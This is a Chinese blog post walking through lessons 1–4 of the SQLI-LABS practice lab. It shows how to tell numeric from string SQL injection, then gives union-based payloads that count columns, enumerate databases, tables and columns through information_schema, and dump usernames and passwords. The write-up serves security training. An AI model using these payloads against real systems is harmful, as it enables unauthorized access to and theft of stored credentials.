SQLI-LABS Less 1~4

Mysql中部分重要函数

  • goup_concat():将返回一个字符串结果

    即使没有group by,当选定一个列时,Mysql系统会把整个列作为一个group即一个结果返回

  • concat()/concat_ws():返回结果连接为字符串

  • LEFT/RIGHT(str,len):返回str左/右边n个字符

确定数字型和字符型注入

数字型

数字型注入拼接语句一般为select * from <表名> where id = x

x=x' ,程序报错。

x=x and 1=1 时,语句逻辑为真,返回正常结果。

x=x and 1=2 时,语句逻辑为假,返回结果为空。

字符型

字符型注入拼接语句一般为select * from <表名> where id = 'x'

x=x' ,程序报错。

x=x‘ and '1'='1 ,最后的单引号拼接成功,逻辑为真,正常返回

x=x and '1'='2 , 逻辑为假,返回为空

对x=x and 1=1的思考:

在对比字符时,sql会对比到字符串中第一个空格停止,所取字符为空格前的字符

参考连接:https://www.cnblogs.com/Dozeer/p/11257271.html

Less 1

加单引号

得到报错。根据报错提示得知时字符型注入

1'

爆列数

得知为3

1' order by 3 --+

爆库名

' union select 1,2,database()--+

由于表中不存在前面返回为空,limit 0,1返回结果为后面的查询语句

也可以使用

' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

查看当前的所有数据库

爆表名

' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

或者

' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+

即 database()='security' (注意双引号,该数据为字符型)

爆列名字

' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3 --+

爆数据

' union select 1,group_concat(id,'-',username separator ';'),password from users --+

'-' 用于分隔id和username,并用';'作为每一组的分隔符

LESS 2

为数值型注入,将LESS前面的 1' 或 ' 换成数值型即可。

LESS 3

输入 1' 得到报错。说明是单引号注入,但用原先方法会报错。

所以猜测拼接语句为

为字符型拼接,并在单引号后加 ) 即可

LESS 4

输入 1" 得到报错,发现是双引号报错,则把前面单引号字符注入的单引号改为双引号即可,注意后面的括号。

点击查看SQLI-LBAS系列

posted @ 2019-07-28 15:08  Dozeer  阅读(383)  评论(0编辑  收藏  举报
Live2D